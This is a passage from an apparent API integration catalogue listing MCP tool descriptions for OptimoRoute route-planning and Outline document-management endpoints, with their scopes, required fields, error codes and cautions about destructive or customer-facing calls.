duration, loads and its ordered list of stops; the three `include*` flags add the encoded polyline, the start/end points and the dispatch status. Narrow to one driver or vehicle with `driverExternalId`, `driverSerial` or `vehicleRegistration`. A date with nothing planned answers `{"routes": [], "success": true}` -- an empty plan, not a failure. OptimoRoute answers HTTP 200 to failures as well as successes and puts the verdict in the body's `success` flag with a `code`; Agentic Fabriq reads that envelope and turns a request-level failure into a real 4xx, so a result that reaches you is one OptimoRoute accepted. GET /api/v1/optimoroute/get_routes. Scopes: api. optimoroute_get_get_scheduling_info (read) — Read when and by whom ONE order is scheduled, via GET /get_scheduling_info. Address it with EITHER `orderNo` or `id`. `orderScheduled` is the answer: false means the order exists but is not on a route, which is not an error. An `orderNo` that matches more than one order answers `ERR_MULTIPLE_ORD_FOUND` -- pass the `id` to disambiguate. OptimoRoute answers HTTP 200 to failures as well as successes and puts the verdict in the body's `success` flag with a `code`; Agentic Fabriq reads that envelope and turns a request-level failure into a real 4xx, so a result that reaches you is one OptimoRoute accepted. GET /api/v1/optimoroute/get_scheduling_info. Scopes: api. optimoroute_post_create_or_update_orders (write) — Create, update or replace up to 500 orders in one call via POST /create_or_update_orders. Takes `orders`, a list of the same order objects 'Create or update one order' takes. NO GEOCODING HAPPENS HERE -- the vendor states it plainly -- so every location must already exist in the account or carry `latitude` and `longitude`; an address string alone will not resolve. Partial success is normal: the top-level `success` is true when AT LEAST ONE order succeeded, and each entry in the returned `orders` list carries its own `success` and `code`, so read the list rather than the flag. OptimoRoute answers HTTP 200 to failures as well as successes and puts the verdict in the body's `success` flag with a `code`; Agentic Fabriq reads that envelope and turns a request-level failure into a real 4xx, so a result that reaches you is one OptimoRoute accepted. POST /api/v1/optimoroute/create_or_update_orders. Scopes: api. optimoroute_post_create_order (write) — Create, update, replace or merge ONE order via POST /create_order. `operation` is mandatory and chooses which: CREATE makes a new order, UPDATE changes an existing one, SYNC creates or replaces, MERGE creates or updates field by field. For anything but UPDATE, `date`, `type` (D delivery, P pickup, T task) and `location` are mandatory too, plus one of `orderNo` or `id`. THIS IS THE ONLY ORDER WRITE THAT GEOCODES AN ADDRESS -- the bulk call requires a location that already exists or explicit latitude/longitude. OptimoRoute answers HTTP 200 to failures as well as successes and puts the verdict in the body's `success` flag with a `code`; Agentic Fabriq reads that envelope and turns a request-level failure into a real 4xx, so a result that reaches you is one OptimoRoute accepted. POST /api/v1/optimoroute/create_order. Scopes: api. optimoroute_post_delete_all_orders (write, destructive) — Remove EVERY order and planned route for a date via POST /delete_all_orders -- and WITH NO `date`, EVERY ORDER AND ROUTE IN THE ACCOUNT. The vendor's own wording: 'If no date is set, all orders and routes are removed from the system.' `date` is optional in the contract and is the only thing bounding the blast radius, so omitting it is not a default, it is the widest possible call. No recycle bin, no undo. OptimoRoute answers HTTP 200 to failures as well as successes and puts the verdict in the body's `success` flag with a `code`; Agentic Fabriq reads that envelope and turns a request-level failure into a real 4xx, so a result that reaches you is one OptimoRoute accepted. POST /api/v1/optimoroute/delete_all_orders. Scopes: api. optimoroute_post_delete_order (write, destructive) — Permanently remove ONE order via POST /delete_order. Addressed by `orderNo`, which is mandatory. A POST that DESTROYS: OptimoRoute offers no recycle bin and no undo for a deleted order, so absence is confirmed by asking for the order again, not by reading this reply. OptimoRoute normally refuses to delete an order that sits on a live route; `forceDelete: true` overrides that restriction, and the order is gone from the dispatched route as well. An order whose date is being optimised answers `ERR_OPT_RUNNING` with the `planningId` that is holding it. OptimoRoute answers HTTP 200 to failures as well as successes and puts the verdict in the body's `success` flag with a `code`; Agentic Fabriq reads that envelope and turns a request-level failure into a real 4xx, so a result that reaches you is one OptimoRoute accepted. POST /api/v1/optimoroute/delete_order. Scopes: api. optimoroute_post_delete_orders (write, destructive) — Permanently remove up to 500 orders in one call via POST /delete_orders. Each order object carries EITHER `orderNo` (the identifier you assigned) OR `id` (the one OptimoRoute assigned); at most 500 per call. A POST that DESTROYS, with no recycle bin and no undo. TWO FLAGS WIDEN IT: `deleteMultiple: true` deletes EVERY order matching an ambiguous `orderNo` rather than refusing, and `forceDelete: true` deletes orders sitting on live routes. Partial success is normal -- read each entry's own `success` and `code`, not only the top-level flag. OptimoRoute answers HTTP 200 to failures as well as successes and puts the verdict in the body's `success` flag with a `code`; Agentic Fabriq reads that envelope and turns a request-level failure into a real 4xx, so a result that reaches you is one OptimoRoute accepted. POST /api/v1/optimoroute/delete_orders. Scopes: api. optimoroute_post_get_completion_details (read) — Read how up to 500 orders were completed, via POST /get_completion_details. Each order object carries EITHER `orderNo` (the identifier you assigned) OR `id` (the one OptimoRoute assigned); at most 500 per call. Each entry's `data` carries the completion `status` (success, failed, rejected, scheduled, on_route, servicing), the start and end times, the driver's form answers, signature and photo URLs, barcode scan results and the tracking URL. `includeCustomerFeedback: true` adds the customer's rating where the account has feedback configured. This is the settled record; 'Get driver app events' is the live feed. OptimoRoute answers HTTP 200 to failures as well as successes and puts the verdict in the body's `success` flag with a `code`; Agentic Fabriq reads that envelope and turns a request-level failure into a real 4xx, so a result that reaches you is one OptimoRoute accepted. POST /api/v1/optimoroute/get_completion_details. Scopes: api. optimoroute_post_get_orders (read) — Read up to 500 orders in one call via POST /get_orders. Each order object carries EITHER `orderNo` (the identifier you assigned) OR `id` (the one OptimoRoute assigned); at most 500 per call. The reply's top-level `success` is true when AT LEAST ONE order was retrieved, so it is not a per-order verdict: each entry in `orders` carries its own `success`, its `data` when found, and `ERR_ORD_NOT_FOUND` when not. OptimoRoute answers HTTP 200 to failures as well as successes and puts the verdict in the body's `success` flag with a `code`; Agentic Fabriq reads that envelope and turns a request-level failure into a real 4xx, so a result that reaches you is one OptimoRoute accepted. POST /api/v1/optimoroute/get_orders. Scopes: api. optimoroute_post_search_orders (read) — Find orders by date range or by identifier via POST /search_orders. At least one of `dateRange` (at most 35 days) or `orders` must be given. `orderStatus` filters by status, `includeOrderData` and `includeScheduleInformation` decide how much of each order comes back, and up to 500 orders are returned per page -- when more match, the reply carries an `after_tag` to pass back on the next call. This is the tool for 'which orders exist'; 'Get orders' is for orders you can already name. OptimoRoute answers HTTP 200 to failures as well as successes and puts the verdict in the body's `success` flag with a `code`; Agentic Fabriq reads that envelope and turns a request-level failure into a real 4xx, so a result that reaches you is one OptimoRoute accepted. POST /api/v1/optimoroute/search_orders. Scopes: api. optimoroute_post_send_routes (write) — Dispatch a date's planned routes to the drivers' mobile apps via POST /send_routes. `date` is mandatory. THIS IS THE CALL THAT REACHES PEOPLE: the routes it sends become the LIVE routes, drivers see them immediately, and `sendNotifications: true` also sends the account's configured customer notifications -- emails and text messages to the customers on those orders. Not flagged destructive because it destroys nothing, but it is not reversible by an API call either: a notification that has gone out has gone out. `ERR_NOTHING_TO_SEND` means the date has no unsent changes. OptimoRoute answers HTTP 200 to failures as well as successes and puts the verdict in the body's `success` flag with a `code`; Agentic Fabriq reads that envelope and turns a request-level failure into a real 4xx, so a result that reaches you is one OptimoRoute accepted. POST /api/v1/optimoroute/send_routes. Scopes: api. optimoroute_post_start_planning (write) — Start an optimization run for a date via POST /start_planning. `date` is mandatory (or `dateRange`, which overrides it, for weekly planning). THIS REPLACES THE PLAN: `startWith` and `lockType` decide how much of the existing schedule survives, and everything not locked is re-planned. The reply is a `planningId`, not a plan -- optimization runs asynchronously, so poll 'Get planning status' and read the result with 'Get planned routes'. One run per date: starting a second answers `ERR_OPT_RUNNING_FOR_DATE` and returns the id of the run already going. OptimoRoute answers HTTP 200 to failures as well as successes and puts the verdict in the body's `success` flag with a `code`; Agentic Fabriq reads that envelope and turns a request-level failure into a real 4xx, so a result that reaches you is one OptimoRoute accepted. POST /api/v1/optimoroute/start_planning. Scopes: api. optimoroute_post_stop_planning (write) — Cancel a running optimization via POST /stop_planning. `planningId` is mandatory and is what 'Start planning' returned. Not destructive -- it stops a computation, and whatever plan existed before it started is what remains. `ERR_OPT_NOT_RUNNING` means the run had already finished or been cancelled. OptimoRoute answers HTTP 200 to failures as well as successes and puts the verdict in the body's `success` flag with a `code`; Agentic Fabriq reads that envelope and turns a request-level failure into a real 4xx, so a result that reaches you is one OptimoRoute accepted. POST /api/v1/optimoroute/stop_planning. Scopes: api. optimoroute_post_update_completion_details (write) — Write completion details for up to 500 orders via POST /update_completion_details. Takes `updates`, each naming its order by `orderNo` or `id` and carrying the `data` to record -- the completion status, times and form answers a driver would otherwise have entered in the app. THIS OVERWRITES THE RECORD of what happened on a job; it is how an external system of record feeds its own proof-of-delivery back into OptimoRoute. Not flagged destructive (no order or route is removed), but it replaces completion data rather than appending to it. OptimoRoute answers HTTP 200 to failures as well as successes and puts the verdict in the body's `success` flag with a `code`; Agentic Fabriq reads that envelope and turns a request-level failure into a real 4xx, so a result that reaches you is one OptimoRoute accepted. POST /api/v1/optimoroute/update_completion_details. Scopes: api. optimoroute_post_update_driver_parameters (write) — Set ONE driver's availability, working hours, start and end locations and vehicle capacities for ONE date, via POST /update_driver_parameters. `date` and `externalId` are mandatory. THIS UNSCHEDULES WORK: the vendor states that any existing routes for that driver and date are unscheduled by the change, so the orders on them return to the unplanned pool and the date has to be re-planned. Changing a driver's parameters is therefore a planning action, not a profile edit. OptimoRoute answers HTTP 200 to failures as well as successes and puts the verdict in the body's `success` flag with a `code`; Agentic Fabriq reads that envelope and turns a request-level failure into a real 4xx, so a result that reaches you is one OptimoRoute accepted. POST /api/v1/optimoroute/update_driver_parameters. Scopes: api. optimoroute_post_update_driver_status (write) — Report ONE driver's position at ONE moment via POST /update_driver_status. The single-sample form of 'Update drivers' positions', for a tracker that pushes one fix at a time. NOT ON THE CURRENT REFERENCE PAGE -- it was documented in OptimoRoute's own v1.11 PDF and has since been dropped from the page, while the endpoint stays live. THE CONTRACT WAS MEASURED, FIELD BY FIELD, on 2026-09-24 against the live API, whose JSON Schema names each missing property in turn: ALL SIX of `externalId`, `datetime`, `latitude`, `longitude`, `speed` and `angle` are required, and the schema is CLOSED -- any other property is refused with `ERR_INVALID_PARAM_FORMAT`. `externalId` is the driver's external id from driver administration; an unknown one answers `ERR_DRIVER_NOT_FOUND`. OptimoRoute answers HTTP 200 to failures as well as successes and puts the verdict in the body's `success` flag with a `code`; Agentic Fabriq reads that envelope and turns a request-level failure into a real 4xx, so a result that reaches you is one OptimoRoute accepted. POST /api/v1/optimoroute/update_driver_status. Scopes: api. optimoroute_post_update_drivers_parameters (write) — Set up to 500 driver/date parameter changes in one call via POST /update_drivers_parameters. Takes `updates`, a list where each entry names its `driver`, its `date` and the parameters to change. THIS UNSCHEDULES WORK for every driver and date it touches, exactly as the single-driver call does. Partial success is normal: the top-level `success` is true when at least one update worked, and each entry in the returned `updates` list carries its own verdict. OptimoRoute answers HTTP 200 to failures as well as successes and puts the verdict in the body's `success` flag with a `code`; Agentic Fabriq reads that envelope and turns a request-level failure into a real 4xx, so a result that reaches you is one OptimoRoute accepted. POST /api/v1/optimoroute/update_drivers_parameters. Scopes: api. optimoroute_post_update_drivers_positions (write) — Report where drivers were, at given moments, via POST /update_drivers_positions. Takes `updates`, each naming a `driver` and a list of `positions`; at most one entry per driver per call. This is the feed for fleets whose tracking comes from a telematics box rather than the OptimoRoute driver app, and it is what live tracking and ETAs are computed from. Partial success is normal -- read each entry's own verdict. OptimoRoute answers HTTP 200 to failures as well as successes and puts the verdict in the body's `success` flag with a `code`; Agentic Fabriq reads that envelope and turns a request-level failure into a real 4xx, so a result that reaches you is one OptimoRoute accepted. POST /api/v1/optimoroute/update_drivers_positions. Scopes: api. optimoroute_post_update_vehicle_status (write) — Report ONE vehicle's position at ONE moment via POST /update_vehicle_status. The vehicle counterpart of 'Update a driver's position', for fleets that track the vehicle rather than the person. NOT ON THE CURRENT REFERENCE PAGE -- documented in OptimoRoute's own v1.11 PDF, dropped from the page since, still live. THE CONTRACT WAS MEASURED, FIELD BY FIELD, on 2026-09-24 and is IDENTICAL to the driver call's: all six of `externalId`, `datetime`, `latitude`, `longitude`, `speed` and `angle` are required and nothing else is accepted. Here `externalId` names the VEHICLE; an unknown one answers `ERR_VEH_NOT_FOUND`, which is how the two endpoints were told apart. OptimoRoute answers HTTP 200 to failures as well as successes and puts the verdict in the body's `success` flag with a `code`; Agentic Fabriq reads that envelope and turns a request-level failure into a real 4xx, so a result that reaches you is one OptimoRoute accepted. POST /api/v1/optimoroute/update_vehicle_status. Scopes: api. ================================================================================ ## Outline URL: https://www.agenticfabriq.com/integrations/outline Section: Integrated Tools Outline — 111 MCP tools Provider key: outline. Scopes: read, write. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. outline_post_accessrequests_approve (write) — Approve an access request. Approve a pending access request, granting the requesting user a membership on the document with the specified permission. POST /accessRequests.approve POST /api/v1/outline/accessRequests.approve. Scopes: write. outline_post_accessrequests_create (write) — Create an access request. Request access to a document. The request will be sent to users with permission to share the document for approval or dismissal. POST /accessRequests.create POST /api/v1/outline/accessRequests.create. Scopes: write. outline_post_accessrequests_dismiss (write) — Dismiss an access request. Dismiss a pending access request without granting the requesting user access to the document. POST /accessRequests.dismiss POST /api/v1/outline/accessRequests.dismiss. Scopes: write. outline_post_accessrequests_info (read) — Retrieve an access request. Retrieve information about an access request by `id`, or the current user's pending request for a document by `documentId`. At least one of these parameters must be provided. POST /accessRequests.info POST /api/v1/outline/accessRequests.info. Scopes: read. outline_post_attachments_create (write) — Create an attachment. Creating an attachment object creates a database record and returns the inputs needed to generate a signed url and upload the file from the client to cloud storage. POST /attachments.create POST /api/v1/outline/attachments.create. Scopes: write. outline_post_attachments_delete (write, destructive) — Delete an attachment. Deleting an attachment is permanent. It will not delete references or links to the attachment that may exist in your documents. POST /attachments.delete POST /api/v1/outline/attachments.delete. Scopes: write. outline_post_attachments_redirect (read) — Retrieve an attachment. Load an attachment from where it is stored based on the id. If the attachment is private then a temporary, signed url with embedded credentials is generated on demand. POST /attachments.redirect POST /api/v1/outline/attachments.redirect. Scopes: read. outline_post_auth_config (read) — Retrieve auth config. Retrieve authentication options POST /auth.config POST /api/v1/outline/auth.config. Scopes: read. outline_post_auth_info (read) — Retrieve auth. Retrieve authentication details for the current API key POST /auth.info POST /api/v1/outline/auth.info. Scopes: read. outline_post_collections_add_group (write) — Add a group to a collection. This method allows you to give all members in a group access to a collection. POST /collections.add_group POST /api/v1/outline/collections.add_group. Scopes: write. outline_post_collections_add_user (write) — Add a collection user. This method allows you to add a user membership to the specified collection. POST /collections.add_user POST /api/v1/outline/collections.add_user. Scopes: write. outline_post_collections_create (write) — Create a collection. Create a new collection with the specified name, description, icon, color, and permission settings. Collections are used to organize documents. POST /collections.create POST /api/v1/outline/collections.create. Scopes: write. outline_post_collections_delete (write, destructive) — Delete a collection. Delete a collection and all of its documents. This action can’t be undone so please be careful. POST /collections.delete POST /api/v1/outline/collections.delete. Scopes: write. outline_post_collections_documents (read) — Retrieve a collections document structure. Returns the document structure of a collection as a tree of navigation nodes, representing the hierarchy of documents within the collection. POST /collections.documents POST /api/v1/outline/collections.documents. Scopes: read. outline_post_collections_duplicate (write) — Duplicate a collection. Duplicate an existing collection along with its published documents. The original collection's settings – icon, color, permission, sharing, and sorting – are preserved on the copy. Draft and archived documents are not duplicated. Document duplication runs asynchronously in the background, so the copy may initially be returned before all of its documents have been created. POST /collections.duplicate POST /api/v1/outline/collections.duplicate. Scopes: write. outline_post_collections_export (write) — Export a collection. Triggers a bulk export of the collection in markdown format and their attachments. If documents are nested then they will be nested in folders inside the zip file. The endpoint returns a `FileOperation` that can be queried to track the progress of the export and get the url for the final file. POST /collections.export POST /api/v1/outline/collections.export. Scopes: write. outline_post_collections_export_all (write) — Export all collections. Triggers a bulk export of multiple collections and their documents. The endpoint returns a `FileOperation` that can be queried through the fileOperations endpoint to track the progress of the export and get the url for the final file. POST /collections.export_all POST /api/v1/outline/collections.export_all. Scopes: write. outline_post_collections_group_memberships (read) — List all collection group members. This method allows you to list a collections group memberships. This is the list of groups that have been given access to the collection. POST /collections.group_memberships POST /api/v1/outline/collections.group_memberships. Scopes: read. outline_post_collections_info (read) — Retrieve a collection. Retrieve the details of a collection by its unique identifier. POST /collections.info POST /api/v1/outline/collections.info. Scopes: read. outline_post_collections_list (read) — List all collections. List all collections that the authenticated user has access to. POST /collections.list POST /api/v1/outline/collections.list. Scopes: read. outline_post_collections_memberships (read) — List all collection memberships. This method allows you to list a collections individual memberships. It's important to note that memberships returned from this endpoint do not include group memberships. POST /collections.memberships POST /api/v1/outline/collections.memberships. Scopes: read. outline_post_collections_remove_group (write, destructive) — Remove a collection group. This method allows you to revoke all members in a group access to a collection. Note that members of the group may still retain access through other groups or individual memberships. POST /collections.remove_group POST /api/v1/outline/collections.remove_group. Scopes: write. outline_post_collections_remove_user (write, destructive) — Remove a collection user. This method allows you to remove a user from the specified collection. POST /collections.remove_user POST /api/v1/outline/collections.remove_user. Scopes: write. outline_post_collections_update (write) — Update a collection. Update an existing collection's properties such as name, description, icon, color, sharing settings, or permission level. POST /collections.update POST /api/v1/outline/collections.update. Scopes: write. outline_post_comments_create (write) — Create a comment. Add a comment or reply to a document, either `data` or `text` is required. Provide `anchorText` to create an inline comment attached to a specific text range in the document. POST /comments.create POST /api/v1/outline/comments.create. Scopes: write. outline_post_comments_delete (write, destructive) — Delete a comment. Deletes a comment. If the comment is a top-level comment, all its children will be deleted as well. POST /comments.delete POST /api/v1/outline/comments.delete. Scopes: write. outline_post_comments_info (read) — Retrieve a comment. POST /comments.info POST /api/v1/outline/comments.info. Scopes: read. outline_post_comments_list (read) — List all comments. This method will list all comments matching the given properties. POST /comments.list POST /api/v1/outline/comments.list. Scopes: read. outline_post_comments_update (write) — Update a comment. POST /comments.update POST /api/v1/outline/comments.update. Scopes: write. outline_post_dataattributes_create (write) — Create a data attribute. Create a new data attribute. Only admins can create data attributes. POST /dataAttributes.create POST /api/v1/outline/dataAttributes.create. Scopes: write. outline_post_dataattributes_delete (write, destructive) — Delete a data attribute. Delete a data attribute. Only admins can delete data attributes. POST /dataAttributes.delete POST /api/v1/outline/dataAttributes.delete. Scopes: write. outline_post_dataattributes_info (read) — Retrieve a data attribute. Retrieve a data attribute by its unique identifier. POST /dataAttributes.info POST /api/v1/outline/dataAttributes.info. Scopes: read. outline_post_dataattributes_list (read) — List all data attributes. POST /dataAttributes.list POST /api/v1/outline/dataAttributes.list. Scopes: read. outline_post_dataattributes_update (write) — Update a data attribute. Update an existing data attribute. Only admins can update data attributes. Note that the dataType cannot be changed after creation. POST /dataAttributes.update POST /api/v1/outline/dataAttributes.update. Scopes: write. outline_post_documents_add_group (write) — Add a group to a document. This method allows you to give all members in a group access to a document. POST /documents.add_group POST /api/v1/outline/documents.add_group. Scopes: write. outline_post_documents_add_user (write) — Add a document user. This method allows you to add a user membership to the specified document. POST /documents.add_user POST /api/v1/outline/documents.add_user. Scopes: write. outline_post_documents_answerquestion (read) — Query documents with natural language. This method allows asking direct questions of your documents – where possible an answer will be provided. Search results will be restricted to those accessible by the current access token. Note that "AI answers" must be enabled for the workspace. POST /documents.answerQuestion POST /api/v1/outline/documents.answerQuestion. Scopes: read. outline_post_documents_archive (write) — Archive a document. Archiving a document allows outdated information to be moved out of sight whilst retaining the ability to optionally search and restore it later. POST /documents.archive POST /api/v1/outline/documents.archive. Scopes: write. outline_post_documents_archived (read) — List all archived documents. This method will list all archived documents belonging to the workspace that the current user has access to. POST /documents.archived POST /api/v1/outline/documents.archived. Scopes: read. outline_post_documents_create (write) — Create a document. This method allows you to create or publish a new document. By default a document is set to the collection root. If you want to create a nested/child document, you should pass parentDocumentId to set the parent document. POST /documents.create POST /api/v1/outline/documents.create. Scopes: write. outline_post_documents_delete (write, destructive) — Delete a document. Deleting a document moves it to the trash. If not restored within 30 days it is permanently deleted. POST /documents.delete POST /api/v1/outline/documents.delete. Scopes: write. outline_post_documents_deleted (read) — List all deleted documents. This method will list all deleted documents belonging to the workspace that the current user has access to. POST /documents.deleted POST /api/v1/outline/documents.deleted. Scopes: read. outline_post_documents_documents (read) — Retrieve a document's child structure. This method returns the nested document structure (tree) for the children of the specified document. POST /documents.documents POST /api/v1/outline/documents.documents. Scopes: read. outline_post_documents_drafts (read) — List all draft documents. This method will list all draft documents belonging to the current user. POST /documents.drafts POST /api/v1/outline/documents.drafts. Scopes: read. outline_post_documents_duplicate (write) — Duplicate a document. This method allows you to duplicate an existing document and optionally all of its child documents. POST /documents.duplicate POST /api/v1/outline/documents.duplicate. Scopes: write. outline_post_documents_empty_trash (write, destructive) — Empty trash. Permanently delete all documents in the trash. This action is irreversible. Only available to admin users. POST /documents.empty_trash POST /api/v1/outline/documents.empty_trash. Scopes: write. outline_post_documents_export (read) — Export a document. Export a document in Markdown, HTML, PDF, or TextBundle format. The response format is determined by the Accept header (`text/markdown`, `text/html`, `application/pdf`, or `application/x-textbundle`). Optionally include child documents in the export as a zip file. POST /documents.export POST /api/v1/outline/documents.export. Scopes: read. outline_post_documents_group_memberships (read) — List document group memberships. This method allows you to list a document's group memberships. POST /documents.group_memberships POST /api/v1/outline/documents.group_memberships. Scopes: read. outline_post_documents_info (read) — Retrieve a document. Retrieve a document by its `UUID`, `urlId`, or `shareId`. At least one of these parameters must be provided. POST /documents.info POST /api/v1/outline/documents.info. Scopes: read. outline_post_documents_insights (read) — Retrieve insights for a document. Retrieve a chronologically sorted array of activity rollups (views, comments, reactions, revisions, editors) for a document. Recent activity is returned as daily rollups, while older activity is aggregated into weekly rollups. Insights must be enabled on the document. Defaults to the last 30 days when no date range is provided. POST /documents.insights POST /api/v1/outline/documents.insights. Scopes: read. outline_post_documents_list (read) — List all documents. This method will list all published documents and draft documents belonging to the current user. POST /documents.list POST /api/v1/outline/documents.list. Scopes: read. outline_post_documents_memberships (read) — List document memberships. Users with direct membership to a document. To list all users with access to a document use `documents.users`. POST /documents.memberships POST /api/v1/outline/documents.memberships. Scopes: read. outline_post_documents_move (write) — Move a document. Move a document to a new location or collection. If no parent document is provided, the document will be moved to the collection root. POST /documents.move POST /api/v1/outline/documents.move. Scopes: write. outline_post_documents_remove_group (write, destructive) — Remove a group from a document. This method allows you to revoke all members in a group access to a document. POST /documents.remove_group POST /api/v1/outline/documents.remove_group. Scopes: write. outline_post_documents_remove_user (write, destructive) — Remove a document user. This method allows you to remove a user membership from the specified document. POST /documents.remove_user POST /api/v1/outline/documents.remove_user. Scopes: write. outline_post_documents_restore (write) — Restore a document. If a document has been archived or deleted, it can be restored. Optionally a revision can be passed to restore the document to a previous point in time. POST /documents.restore POST /api/v1/outline/documents.restore. Scopes: write. outline_post_documents_search (read) — Search all documents. This methods allows you to search your workspace's documents with keywords. Note that search results will be restricted to those accessible by the current access token. POST /documents.search POST /api/v1/outline/documents.search. Scopes: read. outline_post_documents_search_titles (read) — Search document titles. This method allows you to search document titles with keywords. Unlike documents.search, this only searches titles and returns faster results. POST /documents.search_titles POST /api/v1/outline/documents.search_titles. Scopes: read. outline_post_documents_templatize (write) — Create a template from a document. This method allows you to create a new template using an existing document as the basis POST /documents.templatize POST /api/v1/outline/documents.templatize. Scopes: write. outline_post_documents_unpublish (write) — Unpublish a document. Unpublishing a document moves it back to a draft status and out of the collection. POST /documents.unpublish POST /api/v1/outline/documents.unpublish. Scopes: write. outline_post_documents_update (write) — Update a document. This method allows you to modify an already created document POST /documents.update POST /api/v1/outline/documents.update. Scopes: write. outline_post_documents_users (read) — List document users. All users with access to a document. To list only users with direct membership to the document use `documents.memberships` POST /documents.users POST /api/v1/outline/documents.users. Scopes: read. outline_post_documents_viewed (read) — List all recently viewed documents. This method will list all documents recently viewed by the current user. POST /documents.viewed POST /api/v1/outline/documents.viewed. Scopes: read. outline_post_events_list (read) — List all events. Events are an audit trail of important events that happen in the knowledge base. POST /events.list POST /api/v1/outline/events.list. Scopes: read. outline_post_fileoperations_delete (write, destructive) — Delete a file operation. Delete a file operation and its associated files. This is useful for cleaning up completed or failed import/export operations. POST /fileOperations.delete POST /api/v1/outline/fileOperations.delete. Scopes: write. outline_post_fileoperations_info (read) — Retrieve a file operation. Retrieve the details and current status of a file operation by its unique identifier. File operations represent long-running import or export tasks. POST /fileOperations.info POST /api/v1/outline/fileOperations.info. Scopes: read. outline_post_fileoperations_list (read) — List all file operations. List all file operations for the current workspace, filtered by type (import or export). POST /fileOperations.list POST /api/v1/outline/fileOperations.list. Scopes: read. outline_post_groups_add_user (write) — Add a group member. This method allows you to add a user to the specified group. POST /groups.add_user POST /api/v1/outline/groups.add_user. Scopes: write. outline_post_groups_create (write) — Create a group. Create a new group with the specified name. Groups can be used to organize users and assign collection permissions to multiple users at once. POST /groups.create POST /api/v1/outline/groups.create. Scopes: write. outline_post_groups_delete (write, destructive) — Delete a group. Deleting a group will cause all of its members to lose access to any collections the group has previously been added to. This action can’t be undone so please be careful. POST /groups.delete POST /api/v1/outline/groups.delete. Scopes: write. outline_post_groups_info (read) — Retrieve a group. Retrieve the details of a group by its unique identifier, including its name and member count. POST /groups.info POST /api/v1/outline/groups.info. Scopes: read. outline_post_groups_list (read) — List all groups. List all groups in the workspace. Groups are used to organize users and manage permissions for collections. POST /groups.list POST /api/v1/outline/groups.list. Scopes: read. outline_post_groups_memberships (read) — List all group members. List and filter all the members in a group. POST /groups.memberships POST /api/v1/outline/groups.memberships. Scopes: read. outline_post_groups_remove_user (write, destructive) — Remove a group member. This method allows you to remove a user from the group. POST /groups.remove_user POST /api/v1/outline/groups.remove_user. Scopes: write. outline_post_groups_update (write) — Update a group. Update an existing group's name. The group is identified by its unique identifier. POST /groups.update POST /api/v1/outline/groups.update. Scopes: write. outline_post_oauthauthentications_delete (write, destructive) — Delete an OAuth authentiation. Revoke an OAuth authentication, removing the third-party application's access to the user's account. POST /oauthAuthentications.delete POST /api/v1/outline/oauthAuthentications.delete. Scopes: write. outline_post_oauthauthentications_list (read) — List accessible OAuth authentications. List all OAuth authentications for the current user. These represent the third-party applications that the user has authorized to access their account. POST /oauthAuthentications.list POST /api/v1/outline/oauthAuthentications.list. Scopes: read. outline_post_oauthclients_create (write) — Create an OAuth client. Create a new OAuth client application that can be used to authenticate users and access the API on their behalf. POST /oauthClients.create POST /api/v1/outline/oauthClients.create. Scopes: write. outline_post_oauthclients_delete (write, destructive) — Delete an OAuth client. Permanently delete an OAuth client and revoke all associated access tokens. This action cannot be undone. POST /oauthClients.delete POST /api/v1/outline/oauthClients.delete. Scopes: write. outline_post_oauthclients_info (read) — Retrieve an OAuth client. To retrieve information about an OAuth client you must pass either an `id` or a `clientId`. POST /oauthClients.info POST /api/v1/outline/oauthClients.info. Scopes: read. outline_post_oauthclients_list (read) — List accessible OAuth clients. List all OAuth clients that the authenticated user has access to. This includes both clients created by the user and published clients available to the workspace. POST /oauthClients.list POST /api/v1/outline/oauthClients.list. Scopes: read. outline_post_oauthclients_rotate_secret (write) — Rotate the secret for an OAuth client. Generate a new client secret for an OAuth client. The old secret will be invalidated immediately, so ensure your application is updated to use the new secret. POST /oauthClients.rotate_secret POST /api/v1/outline/oauthClients.rotate_secret. Scopes: write. outline_post_oauthclients_update (write) — Update an OAuth client. Update an existing OAuth client's properties such as name, description, redirect URIs, or published status. POST /oauthClients.update POST /api/v1/outline/oauthClients.update. Scopes: write. outline_post_revisions_info (read) — Retrieve a revision. A revision is a snapshot of a document at a specific point in time. This endpoint allows you to retrieve a specific version of a document by its unique identifier. POST /revisions.info POST /api/v1/outline/revisions.info. Scopes: read. outline_post_revisions_list (read) — List all revisions. List all revisions for a specific document. Revisions represent historical snapshots of a document's content and can be used to track changes over time. The `data` and `text` fields are omitted from listed revisions for performance; use `revisions.info` to retrieve the full content of a specific revision. POST /revisions.list POST /api/v1/outline/revisions.list. Scopes: read. outline_post_shares_create (write) — Create a share. Creates a new share link that can be used by to access a document or collection. If you request multiple shares for the same resource with the same API key, the same share object will be returned. By default all shares are unpublished. Exactly one of `documentId` or `collectionId` must be provided. POST /shares.create POST /api/v1/outline/shares.create. Scopes: write. outline_post_shares_info (read) — Retrieve a share object. Retrieve the details of a share link by its unique identifier or by the associated document ID. Shares allow documents to be accessed publicly or by specific users. POST /shares.info POST /api/v1/outline/shares.info. Scopes: read. outline_post_shares_list (read) — List all shares. List all share links in the workspace. POST /shares.list POST /api/v1/outline/shares.list. Scopes: read. outline_post_shares_revoke (write, destructive) — Revoke a share. Makes the share link inactive so that it can no longer be used to access the document. POST /shares.revoke POST /api/v1/outline/shares.revoke. Scopes: write. outline_post_shares_update (write) — Update a share. Allows changing an existing share's published status, which removes authentication and makes it available to anyone with the link. POST /shares.update POST /api/v1/outline/shares.update. Scopes: write. outline_post_stars_create (write) — Create a star. Stars a document or collection so it appears in the users sidebar. One of either `documentId` or `collectionId` must be provided. POST /stars.create POST /api/v1/outline/stars.create. Scopes: write. outline_post_stars_delete (write, destructive) — Delete a star. Remove a star from a document, removing it from the user's starred documents list in the sidebar. POST /stars.delete POST /api/v1/outline/stars.delete. Scopes: write. outline_post_stars_list (read) — List all stars. List all starred documents for the authenticated user. Stars allow users to bookmark important documents for quick access in the sidebar. POST /stars.list POST /api/v1/outline/stars.list. Scopes: read. outline_post_stars_update 